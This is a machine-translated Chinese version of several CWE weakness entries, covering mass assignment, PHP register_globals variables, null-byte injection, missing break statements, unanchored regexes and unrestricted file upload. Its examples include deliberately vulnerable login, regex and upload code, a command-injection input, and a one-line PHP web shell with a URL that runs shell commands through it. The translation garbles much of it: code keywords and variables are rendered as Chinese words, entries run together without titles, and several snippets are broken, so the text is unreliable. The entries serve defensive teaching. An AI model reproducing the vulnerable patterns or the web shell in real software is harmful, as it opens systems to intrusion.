Spring框架允许反序列化的对象不可信来源执行任意代码。
Grails允许绑定任意参数的修改任意对象属性。
不正确的反序列化在web浏览器允许逃离沙箱。
媒体库允许反序列化对象的不可信的Java applet,导致执行任意代码。
潜在的缓解措施
实施阶段:
如果可用,使用语言或框架的特点,使规范allowlists的属性或字段,可以被修改。如果可能的话,喜欢allowlists denylists。
与Ruby on Rails编写的应用程序,使用attr_accessible (allowlist)或attr_protected (denylist)宏在每个类,可用于大规模作业。
阶段:体系结构和设计;实现
如果可用,使用编程语言的签字/密封特性以确保反序列化数据没有被污染。例如,一个基于散列的消息验证码(HMAC)可以用来确保数据没有被修改。
实施阶段:
对于任何externally-influenced输入,检查内部对象的输入对一个allowlist属性或字段,可以被修改。
阶段:实施;架构和设计
重构代码,这样对象属性或字段不需要动态识别,只有暴露目标属性的getter / setter功能。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
笔记
引用
cwe - 616:上传文件的完整识别变量(PHP)
描述
PHP应用程序使用一个老的方法处理上传文件通过引用的四个全局变量设置为每个文件(例如varname美元,美元varname_size, varname_name美元,美元varname_type)。这些变量可以被攻击者覆盖,导致应用程序处理未经授权的文件。
扩展描述
这些全局变量可以通过POST请求被覆盖,饼干,或其他填充或重写这些变量的方法。这可能是用于读取或处理任意文件提供值,如“/ etc / passwd”。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示范例子
示例1
截至2006年,“四个全局”的方法可能是在急剧下降,但年长的PHP应用程序可能会有这个问题。
在“四个全局”方法中,PHP设置以下4全局变量(依赖于应用程序的“varname”):
$ varname =临时文件在本地计算机的名称 $ varname_size =文件的大小 $ varname_name =客户提供的原始文件的名字 $ varname_type =文件的MIME类型
示例2
“全球美元带有_file存在的PHP 4.1.0(使用$ HTTP_POST_FILES相反如果使用早期版本)。这些数组将包含所有上传文件信息”。
带有_file美元[' userfile ']['名字']——原始文件名从客户端 带有_file美元[' userfile '] [' tmp_name ']——在服务器上文件的临时文件名
* *注意:userfile的web表单的字段名;这可能是不同的。
观察到的例子
参考
描述
论坛不正确验证文件是否上传或发布相关变量,允许远程攻击者读取任意文件。
产品不检查设定的变量为一个上传上传文件,$ _POST等或其他方法。
产品没有区分从其他文件上传文件。
潜在的缓解措施
阶段:体系结构和设计
使用PHP 4或更高版本。
阶段:体系结构和设计
如果你必须支持旧的PHP版本,编写自己的版本的is_uploaded_file()和运行它HTTP_POST_FILES美元[' userfile ']))
实施阶段:
PHP版本,供以后参考上传的文件使用HTTP_POST_FILES或带有_file美元变量,并使用is_uploaded_file()或函数(),以确保您正在处理一个上传文件。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
不完整的上传文件的识别变量(PHP)
软件故障模式
SFP25
受污染的输入变量
引用
(ref - 502)肖恩出彩。“血字的研究——第五节”,文件上传”。
描述
产品,默认情况下,初始化一个内部变量与一个不安全或不安全的价值比是可能的。
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性
攻击者可以访问和修改敏感数据或系统信息。
示范例子
示例1
这段代码试图从一个POST请求登录用户使用凭证:
/ / $ user和$从POST请求通过自动设置
如果(login_user(用户,通过美元)){
$ authorized = true;
}
…
如果授权($){
generatePage ();
}
因为美元的授权变量没有初始化,PHP将自动设置授权任何美元价值包含在POST请求如果启用了register_globals。攻击者可以发送一个POST请求与一个意想不到的第三值“授权”设置为“真正的”没有提供有效身份证件和获得授权状态。
这是一个固定的版本:
$ user = $ _POST['用户”);
通过美元= $ _POST['通过'];
$ authorized = false;
如果(login_user(用户,通过美元)){
$ authorized = true;
}
…
这段代码可以避免这个问题,初始化授权变量假美元,明确检索的登录凭证$ _POST变量。无论如何,register_globals绝不应该启用和禁用默认在当前版本的PHP。
潜在的缓解措施
阶段:系统配置
禁用或更改默认设置时系统可以用来虐待。因为这些默认设置是随产品可能被潜在的攻击者熟悉产品。例如,默认凭证应该改变或相关联的账户应该禁用。
笔记
维护
这可能其他类别重叠,应该分为两个独立的项目。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
不安全的默认变量初始化
cwe - 626:零字节交互错误(毒Null字节)
描述
产品不妥善处理空字节或NUL字符或组件之间传递数据时不同的表示。
扩展描述
一个空字节(NUL字符)可以有不同的含义在表征或语言。例如,它是一个字符串结束符标准C库,但Perl和PHP字符串不把它作为一个终结者。跨越两个表示时——比如当Perl和PHP调用底层C功能——这可以产生交互错误意想不到的结果。类似的问题已经报告了ASP。其他翻译用C编写也可能受到影响。
毒药null字节通常是有用的路径遍历的袭击终止硬编码的扩展被添加到一个文件名。它可以在正则表达式在PHP中处理中发挥作用。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
观察到的例子
参考
描述
空字节绕过PHP正则表达式检查
插入SQL NUL字节后绕过allowlist regexp,启用SQL注入
潜在的缓解措施
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
笔记
术语
当前使用的零字节“毒药”通常是与此相关的C / Perl / PHP交互错误,但在1998年最初的术语是“从一开始”应用到一个缓冲区溢出涉及一个空字节。
研究的差距
CVE的例子并不多,因为毒零字节是一个设计限制,通常不包括在CVE本身。它通常是作为一个主持人操纵扩大范围的潜在攻击其他漏洞。
引用
描述
产品中省略了一个break语句一个开关或类似的构造,导致与之相关的代码执行多个条件。这会产生问题时,程序员只为了执行代码与一个条件有关。
扩展描述
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
其他
这个弱点可能导致意想不到的逻辑执行和其他异常的应用程序行为。
利用的可能性
示范例子
示例1
在这两个例子中,根据月打印一条消息传递到函数:
公共空间printMessage (int) {
开关(月){
案例1:打印(" 1 "); 案例2:印刷(“2”); 案例3:印刷(3月); 案例4:打印(4月); 案例5:打印(“可能”); 案例6:打印(6月); 案例7:打印(7月); 例8:打印(8月); 案例9:打印(9月); 例10:打印(10月); 例11:打印(11月); 例12:打印(12月);
}
println(“是一个伟大的月”);
}
空白printMessage (int) {
开关(月){
案例1:printf (" 1 "); 案例2:printf (" 2 "); 案例3:printf (3); 案例4:printf(4月); 案例5:printff(“可能”); 案例6:printf (" 6 "); 案例7:printf (" 7 "); 例8:printf (" 8 "); 案例9:printf(9月); 例10:printf (" 10 "); 例11:printf (" 11 "); 例12:printf(12月);
}
printf("是一个伟大的月”);
}
这两个示例不使用break语句在每种情况下,导致意想不到的失败行为。例如,称“printMessage(10)”将导致文本“OctoberNovemberDecember是一个伟大的月”打印出来。
潜在的缓解措施
实施阶段:
省略break语句,这样你可能失败往往是区别一个错误,因此应该避免。如果你需要使用失败功能,确保您已经清楚地记录了这个在switch语句中,并确保你有检查所有的逻辑可能性。
实施阶段:
省略的功能break语句可以澄清一个if语句。这种方法更安全。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
间接
(缺点是一个质量问题,可能会间接更容易引入的安全相关的弱点或使他们更难检测)
检测方法
白盒子
遗漏的break语句可能是故意的,为了支持fallthrough。因此自动化检测方法可能是错误的。语义理解预期产品的行为是需要解释的代码是否正确。
黑盒
因为这个弱点是与代码相关的构造,是区别其他错误,产生相同的行为。
分类法映射
映射分类名称
节点ID
适合
映射节点名
扣
省略break语句
软件故障模式
SFP4
不受控制的状态条件
引用
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第七章“Switch语句”,337页。1版。艾迪生卫斯理》2006。
描述
扩展描述
这实际上导致regexp接受子字符串匹配的模式,产生部分比较到目标。在某些情况下,这可能会导致其他的弱点。常见的错误包括:
不确定目标字符串的开始和结束
使用通配符,而不是接受的字符序列
其他人
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
185年
不正确的正则表达式
ParentOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
777年
正则表达式没有锚
PeerOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
183年
宽容的允许输入列表
PeerOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
184年
不允许输入的完整列表
PeerOf
变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。
187年
部分字符串比较
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
19
数据处理错误
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
实现
这个问题是经常发现在正则表达式中使用输入验证或认证等安全特性。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
示范例子
示例1
下面的代码将电话号码作为输入,并使用一个正则表达式拒绝无效的电话号码。
$电话= GetPhoneNumber ();
如果美元的手机= ~ / \ d + - \ d + /) {
#看起来只有连字符和数字
系统(“lookup-phone $电话");
}
其他{
错误(“畸形数!”);
}
攻击者可以提供一个参数如:”;ls - l;回声123 - 456”这将通过检查,因为“123 - 456”足以匹配“\ d + - \ d +“正则表达式的一部分。
示例2
这段代码使用正则表达式来验证一个IP字符串之前使用它在一个叫“ping”命令。
导入子流程
进口再保险
def validate_ip_regex (ip: str):
ip_validator = re.compile (r”((25 (0 - 5) | (2 (0 - 4) | 1 \ d | | (1 - 9)) \ d) \ ? \ b) {4}”)
如果ip_validator.match (ip):
返回的ip
其他:
提高ValueError (“IP地址不匹配有效模式。”)
def run_ping_regex (ip: str):
验证= validate_ip_regex (ip)
# ping命令将八进制zero-prepended IP地址
结果=子流程。调用((“平”,验证)) 打印(结果)
由于正则表达式没有锚(cwe - 777 ),即无限没有^和$字符,然后将一个0或0 x的IP地址仍将导致匹配正则表达式模式。自从ping命令支持八进制和十六进制将IP地址,它将使用出人意料地有效的IP地址(cwe - 1389 )。例如,“0 x63.63.63.63”会被认为相当于“99.63.63.63”。因此,攻击者可能会平系统,攻击者不能直接到达。
观察到的例子
参考
描述
”。*”regexp导致静态代码注入
用户名插入regexp导致部分比较,导致错误的数据库条目更新当一个用户名是另一个的子字符串。
regexp旨在验证所有字符是合法的,只有检查至少一个是合法的,使文件包含。
Regexp的IP地址不固定在最后,允许附加shell元字符。
Regexp不是“锚定”开始或者结束,它允许欺骗信任值作为子字符串的值。
正则表达式在. htaccess文件允许访问的文件的名字包含特定的子字符串
允许加载宏的文件的名字包含特定的子字符串。
潜在的缓解措施
实施阶段:
当适用时,确保正则表达式是开始和结束的字符串模式,如“/ ^字符串$ / Perl。
弱点Ordinalities
Ordinality
描述
主
(其他弱点的弱点存在独立的)
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
分类法映射
映射分类名称
节点ID
适合
映射节点名
CERT甲骨文安全Java编码标准(2011)
IDS08-J
清洁不可信的数据传递给一个正则表达式
引用
(ref - 62)马克·多德约翰麦克唐纳和贾斯汀Schuh。“软件安全评估的艺术”。第八章,“性格剥离漏洞”,437页。1版。艾迪生卫斯理》2006。
描述
PHP应用程序不正确防止变量的修改从外部来源,如查询参数或饼干。这可以使应用程序很多原本不存在的弱点。
的关系
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
实现
实现:造成这一弱点在建筑安全策略的实施。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
观察到的例子
参考
描述
文件上传允许任意文件读取通过设置隐藏表单变量匹配内部变量名。
错误地相信$ PHP_SELF变量来确定包括脚本被称为母公司。
通过修改PHP远程文件包含assumed-immutable变量。
修改关键变量在调用脚本时不加载库,初始化它。
认证绕过通过修改数组用于身份验证。
潜在的缓解措施
阶段:要求;实现
仔细确定哪些变量可以控制或受到外部用户的影响,并考虑采用一种命名约定来强调外部修改变量时使用。应用程序应该不愿意信任变量被初始化外部的信任边界。确保足够的执行检查时依靠从外部输入信任边界。不允许应用程序启用了register_globals的运行。如果你实现一个register_globals模拟器,非常小心的变量提取、动态评估,和类似的问题,因为你的弱点仿真可以允许外部变量修改即使没有register_globals。
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
笔记
的关系
这是一个特定于语言的实例修改Assumed-Immutable数据(服务员)。这可以从请求直接合成(备用路径)的问题。它可以主要弱点如PHP文件包含SQL注入,XSS,认证绕过等等。
分类法映射
映射分类名称
节点ID
适合
映射节点名
千鸟
PHP外部变量修改
描述
产品允许攻击者上传或危险的传输文件类型,可以自动处理产品的内环境。
替代条款
不受限制的文件上传:
用于漏洞数据库和其他地方,但不够精确。这个词可以解释为缺乏对上传文件的大小或数量的限制,这是一个资源消耗问题。
的关系
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关的视图”研究概念”(cwe - 1000)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
669年
不正确的资源领域之间的转移
PeerOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
351年
不足的类型的区别
PeerOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
436年
解释的冲突
PeerOf
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
430年
部署错误处理程序
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
73年
外部控制文件名或路径
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
183年
宽容的允许输入列表
光束
Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。
184年
不允许输入的完整列表
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关观点“软件开发”(cwe - 699)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
429年
处理程序错误
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
简化映射的相关视图”缺点漏洞发布”(cwe - 1003)
自然
类型
ID
的名字
ChildOf
类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。
669年
不正确的资源领域之间的转移
此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
相关视图”架构概念”(cwe - 1008)
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1011年
授权的演员
模式的介绍
不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段
请注意
实现
架构和设计
遗漏:这个弱点是由于缺少一个安全策略在体系结构和设计阶段。
常见的后果
这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围
影响
可能性
完整性 保密 可用性
任意代码执行是可能的如果一个上传文件的代码的解释和执行。特别是asp和php扩展上传到web服务器,因为这些文件类型通常视为自动执行,即使没有指定文件系统权限执行。例如,在Unix环境中,程序通常不能运行,除非执行位被设置,但PHP程序可能执行的web服务器,而不是直接调用操作系统。
利用的可能性
示范例子
示例1
下面的代码将允许用户上传图片到web服务器。驱动形式的HTML代码在用户结束有一个输入字段类型的“文件”。
< action = " upload_picture形式。php”方法= " post " enctype = " multipart /格式”>
选择一个文件上传: < input type = " file " name = "文件名" / > < br / > < input type = " submit " name =“提交”value = " submit " / >
> < /形式
一旦提交,上面的形式向upload_picture发送文件。php web服务器上。PHP将文件存储在一个临时位置,直到检索服务器端代码(或丢弃)。在本例中,文件是搬到一个更永久的照片/目录。
/ /定义目标位置的图片
/ /上传会得救。
$ target = " / "照片。:$带有_file [' uploadedfile ']['名字']);
/ /将上传的文件移动到新的位置。
如果函数(带有_file美元[' uploadedfile '] [' tmp_name '],美元目标))
{
回声”已成功上传照片。”;
}
其他的
{
回声”上传照片时发生了一个错误,请再试一次。”;
}
上面的代码的问题是没有检查关于正在上传的文件类型。假设照片/可在web文档根,攻击者可以上传文件的名称:
因为这个文件名以”。php“它可以由web服务器执行。在这上传文件的内容,攻击者可以使用:
< ? php
系统($ _GET [' cmd ']);
? >
这个文件已经安装之后,攻击者可以输入任意命令执行使用一个URL,如:
http://server.example.com/upload_dir/malicious.php?cmd=ls%20-l
运行“ls - l命令——或任何其他类型的命令,攻击者想要指定。
示例2
下面的代码演示了无限制上传文件的Java servlet和路径遍历的脆弱性。HTML表单的动作属性是上传文件将请求发送给Java servlet。
<形式action = " FileUploadServlet " method = " post " enctype = "多部分/格式" >
选择一个文件上传: < input type = " file " name = "文件名" / > < br / > < input type = " submit " name =“提交”value = " submit " / >
> < /形式
当提交的Java servlet的doPost方法将接收请求,从Http请求中提取文件的名称标题,读取文件内容从请求和输出文件到本地上传目录。
公开课FileUploadServlet扩展HttpServlet {
…
保护无效doPost (HttpServletRequest请求,HttpServletResponse响应)抛出ServletException IOException {
response.setContentType (" text / html ");
PrintWriter = response.getWriter ();
字符串contentType = request.getContentType ();
/ /边界头的起始位置
int印第安纳= contentType.indexOf(“边界= ");
字符串边界= contentType.substring(印第安纳州+ 9);
字符串多义线=新的字符串();
字符串uploadLocation =新的字符串(UPLOAD_DIRECTORY_STRING);/ /恒定值
/ /验证内容类型是多部分表单数据
如果(contentType ! = null & & contentType.indexOf(“多部分/格式”)! = 1){
/ /从Http报头中提取文件名
BufferedReader br = new BufferedReader(新InputStreamReader (request.getInputStream ()));
…
多段线= br.readLine ();
字符串文件名= pLine.substring (pLine.lastIndexOf (“\ \”), pLine.lastIndexOf (" \ "));
…
/ /输出文件到本地上传目录
尝试{
BufferedWriter bw = new BufferedWriter(新FileWriter (uploadLocation +文件名,真的));
(字符串行;(= br.readLine行())!)=零;{
如果(line.indexOf(边界)= = 1){
bw.write(线); bw.newLine (); bw.flush ();
}
}/ / for循环的结束
bw.close ();
}捕捉(IOException特异){…}
/ /输出成功上传响应的HTML页面
}
/ /输出成功上传响应的HTML页面
其他的
{…}
}
…
}
这段代码不执行检查上传文件的类型(cwe - 434 )。这可能允许攻击者上传任何可执行文件或其他文件与恶意代码。
此外,BufferedWriter对象的创建主题相对路径遍历(CWE-23 )。由于代码不提供检查文件名的头,攻击者可以使用“. ./“序列写文件之外的目的目录。根据执行环境中,攻击者可以指定任意文件编写,导致各种各样的后果,从代码执行,XSS (cwe - 79 ),或者系统崩溃。
观察到的例子
参考
描述
基于网络的邮件产品商店”。shtml”附件,可能包含SSI
PHP不限制上传文件类型
. php文件的上传和执行
上传文件与危险的扩展
程序不限制文件类型
上传文件的类型检查不当
双“php扩展留下了一个积极的php扩展生成的文件名。
ASP程序允许上传的ASP文件绕过客户端检查
ASP文件上传
ASP文件上传
潜在的缓解措施
阶段:体系结构和设计
阶段:体系结构和设计
组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。
阶段:体系结构和设计
考虑存储上传文件之外的web文档根完全。然后,使用其他机制来动态交付文件。(
ref - 423 ]
实施阶段:
假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。
不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。
例如,限制文件名字母数字字符限制的引入可以帮助意想不到的文件扩展名。
阶段:体系结构和设计
只允许定义一组非常有限的扩展和生成文件名,以这些扩展。考虑XSS的可能性(
cwe - 79 )允许. html或. htm文件类型。
实施阶段:
确保只使用一个扩展的文件名。一些web服务器,包括一些版本的Apache,可能过程文件基于这样“filename.php内部扩展。gif”是美联储PHP解释器。
ref - 422 ][
ref - 423 ]
实施阶段:
当运行在web服务器上支持区分大小写的文件名,扩展所提供的执行不区分大小写的评估。
阶段:体系结构和设计
对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免
cwe - 602 。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。
实施阶段:
不完全依赖健康检查文件内容,确保预期的文件类型和大小。攻击者可能隐藏代码在某些文件片段,仍将由服务器执行。例如,GIF图像可能包含一个自由格式的注释字段。
实施阶段:
不要完全依赖MIME内容类型或文件名属性在确定如何呈现一个文件。验证MIME内容类型,并确保它匹配扩展只能解决部分问题。
阶段:体系结构和设计;操作
使用所需的最低特权运行您的代码来完成必要的任务(
ref - 76 ]。如果可能的话,创建独立帐户权限有限,只用于一个任务。这样,一个成功的攻击不会立即给攻击者访问其他软件或其环境。例如,数据库应用程序很少需要作为数据库管理员运行,特别是在日常操作。
阶段:体系结构和设计;操作
运行代码的“监狱”或类似沙箱环境执行严格的流程和操作系统之间的边界。这可能有效地限制哪些文件可以在一个特定的目录或访问哪些命令可以执行的软件。
操作系统的例子包括Unix chroot监狱,AppArmor对,SELinux。在一般情况下,托管代码可能会提供一些保护。例如,java。FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations.
这可能不是一个可行的解决方案,它只限制对操作系统的影响;应用程序的其余部分可能仍然接受妥协。
注意: 这种缓解的有效性取决于特定的沙盒或监狱的预防功能使用,只可能有助于减少攻击的范围,比如限制攻击者对特定文件系统的系统调用或限制部分,可以访问。
弱点Ordinalities
Ordinality
描述
主
(缺点是一个质量问题,可能会间接更容易引入的安全相关的弱点或使他们更难检测)
这可以主要在没有检查。
合成
(缺点是一个质量问题,可能会间接更容易引入的安全相关的弱点或使他们更难检测)
这是当使用双扩展(如经常合成。“.php.gif”)绕过一个检查。
合成
(缺点是一个质量问题,可能会间接更容易引入的安全相关的弱点或使他们更难检测)
这可以从客户端执行结果(
cwe - 602 );一些产品将包括在web客户机web脚本检查文件名,没有在服务器端验证。
检测方法
动态分析与自动化的结果解释
根据飙升,以下检测技术可能是有用的:
Web应用程序扫描
Web服务的扫描仪
数据库扫描仪
动态分析与人工解释结果
根据飙升,以下检测技术可能是有用的:
人工静态分析源代码
根据飙升,以下检测技术可能是有用的:
关注人工抽查,手动分析来源
手工源代码审查(不检查)
自动静态分析源代码
根据飙升,以下检测技术可能是有用的:
源代码缺陷分析仪
Context-configured源代码分析器
体系结构或设计审查
根据飙升,以下检测技术可能是有用的:
功能区域
影响资源
会员资格
这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然
类型
ID
的名字
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
714年
OWASP 2007年十大类别A3 -恶意文件执行
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
801年
2010年前25 -安全组件之间的交互
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
813年
OWASP十大2010类别A4 -不安全的直接对象引用
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
864年
2011年前25 -安全组件之间的交互
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
884年
CWE横截面
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1131年
方案》(2016)——安全质量措施
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1200年
弱点在2019 CWE最危险的软件错误
MemberOf
类别——CWE条目包含一组其他条目,共享一个共同的特点。
1308年
方案及质量措施,安全
MemberOf
视图——CWE条目的一个子集,它提供了一种检查CWE的内容。两个主要视图结构片(列表)和图(包含条目之间的关系)。
1337年
2021 CWE最危险软件的弱点的弱点
MemberOf
